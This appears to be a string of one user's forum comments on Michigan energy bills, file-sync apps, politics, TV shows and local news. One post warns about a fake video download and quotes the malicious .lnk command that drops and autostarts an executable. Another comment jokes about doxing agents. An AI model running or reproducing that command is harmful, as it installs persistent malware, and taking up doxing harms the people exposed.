These two bills have been passed by the Michigan House. The 'public' purpose is to return control of permitting solar fields and wind power generators to local government. It repeals statutes that currently allow the Michigan Public Service Commission to overrule local communities for green-energy projects. As far as I know, current statute doesn't allow local communities to overrule the construction of new fossil-fuel based power plants.
There are also these two clauses in the bill as passed:
(2) A county or township shall not regulate or control the drilling, completion, or operation of oil or gas wells or other wells drilled for oil or gas exploration purposes and does not have jurisdiction with reference to the issuance of permits for the location, drilling, completion, operation, or abandonment of such wells.
(3) An ordinance shall not prevent the extraction, by mining, of valuable natural resources from any property unless very serious consequences would result from the extraction of those natural resources. Natural resources shall be considered valuable for the purposes of this section if a person, by extracting the natural resources, can receive revenue and reasonably expect to operate at a profit.
The bills are actually anti-local control when it comes to mining and oil drilling operations. These two items have been left out of talking points.
I'm in the office right now, and 99% of my meetings are through Teams.
My favorite days to be here are when everyone else is somewhere else.
No. I read the books and watched the TV show.
Are you using syncthing-fork on android? If I remember, the primary app discontinued android support, so someone else took it over.
I use it routinely for thousands of files. It's easier than digging out a USB cable.
Syncthing/Syncthing-Fork. Simply the best cross-system file synchronization app. Peer-to-peer, no cloud storage.
Scrcpy (Screen Copy). App that mirrors your Android phone to Windows. When I switched away from a Samsung phone I lost the ability to run an app from my phone on my PC desktop. This restores that.
I expect this to have broad bipartisan support and to pass with little opposition.
You need a program to calculate Replaygain and update the tags. Then make sure your player settings use the Replaygain during playback. Replaygain just adds a tag and doesn't change the audio in any way.
I use Foobar (because I've used Foobar forever), but I'm sure there are programs dedicated to Replaygain calculations.
I was about to ask where these reviews were, so we could dox the agents. These onions are getting pretty tasty.
There is a sliver of hope: The rainforests that currently carpet the tropics may be more resilient to high temperatures than those that existed before the Great Dying.
There is a sliver of hope (/s).
Fixed it for you.
Ze flotation devices, zay do NOTHING!
Game of Thrones. I stopped watching when Aquaman raped the blonde.
Then I started reading the books. the rape scene was written slightly different, so...whatever. Then I got to the part where the brother/sister threw the boy out the window. Done. Violence against kids is my line.
If you're in bear country, you want to hang your food high from a tree branch. Not right next to the trunk, bears can climb like squirrels. It's really amazing how fast they can climb a tree.
Also hang toiletries; don't keep toothpaste or anything scented in the tent with you.
This is what passes as front-page news at the Planet. Did they run out of alien fluff pieces?
Why would they do that? Democratic politicians don't want any of those.
We were promised a new Indiana Jones played by Shia Lebeauf, and we demand a new Indiana Jones played by Shia Lebeauf .
WHO'S WITH ME?!!!
The bill itself is unsurprising and uninteresting. What is interesting is the title and description written by the bill's sponsors (Claudia Tenney R-NY, Dan Crenshaw R-TX).
"To deny tax deductions and other Federal funding..."
These congressmen think tax deductions are Federal funding. If they did not think this way, they would have left out the word other in their description.
Dark Web Interdiction Act of 2025
Here is the text of a bill introduced to Congress (US), ostensibly to combat the trafficking of opioids over "The Dark Web". There's a nice definition of "The Dark Web" at section 4.
I like the part where it says people are using "The Dark Web" both within the United States and "at the international border".
Do these people in Congress actually think like this? Or are they aware they're just being performative?
Not later than 90 days after the date of the enactment of this Act, the head of each agency shall require any special Government employee in a sensitive position at the agency on the date of the enactment of this Act to be entered into a random drug testing program in accordance with the Mandatory Guidelines for Federal Workplace Drug Testing Programs.
Immigrant rights advocates are concerned what happened outside a Michigan courthouse may be part of a larger problem.
In 50 years, history will speak about ICE the way we speak about the SS now.

Michigan Sen. Elissa Slotkin says it’s no secret Democrats don’t have their strategy figured out. But adds that the “yelling” of progressive Democrats like Rep. Alexandria Ocasio-Cortez and Sen. Bernie Sanders has not stopped President Donald Trump’s agenda.

Perhaps it's not working because of people like Slotkin willing to continue the losing strategies of the past.
A Walgreens clerk biking home was hurt badly in a hit-and-run crash. The community has since rallied to buy him a car.
TJ Day liked riding his bike to and from work at Walgreens. It helped him stay fit and gave him time to wind down in the evening.
He wore a reflective vest, helmet and added lights to the front and back of his bike for safety. He did everything right, said his sister Kelli Day.
Still, TJ was hit by a car on his way home from work on Feb. 18.
Another driver who found him in a snowbank on Lovers Lane near Stryker Way after the hit-and-run. That driver stayed in contact, and later offered to buy TJ a new bike. But in the meantime, supporters of TJ had already raised more than $20,000 to buy him a car.
As of Thursday, March 6, a GoFundMe Kelli organized has raised $23,427, with a goal of $28,000.
TJ has always been apprehensive about driving, but now he’s more nervous of biking, Kelli said. The generosity of his community will help him get a safe and reliable car.
I have Sonarr and Radarr set up to keep me up to date on some TV shows. Lately I've gotten a handful of files that Sonarr refuses to import because of a .lnk file. The download consists of a folder with the name of the file I want. Inside the folder is a file with the same name, and a .lnk extension. The .lnk file is very big (950Mb), and programmed to run this script:
%ComSpec% /v:On/CSET el=Severance.S02E07.1080p.WEB.H264-SuccessfulCrab.mkv&SET c="%Appdata%\microsoft\windows\START MENU\PROGRAMS\STARTUP\%Username%.exe"&(If not exist !c! Findstr/v "cmd.EXE Rj%TIME:7,1%%TIME:-2%" !el!.Lnk>!c!&Start "" !c!)&CD %tmp%&Echo.>!
As far as I can tell, this creates an empty executable file in your Windows startup folder, and copies a portion of the fake video file into it. It then runs the malware. And, since it's in your startup folder, it will run again every time you reboot.
The tracker is theRARBG, but it could also come from elsewhere. I've found it on a couple of different shows (not just this one), and they always download a couple of days before the airdate.
Be careful!
I can't think of any. The current oil reserve is supposed to be used in the case of another oil embargo. But its actual use is to lower gas prices when the administration in power needs a political win.
I actually think the purpose of a Bitcoin reserve is to temporarily increase the price so tech-bros (re: Elon) can sell at a massive profit. Then buy back at a much lower price. It's just a way to indirectly transfer federal dollars into administration pockets.
I can't find any reason for the government to buy crypto and hold it in reserve.
Remember when Donald Trump was president, in the lobotomized body of Bill the Cat? Haha good times.
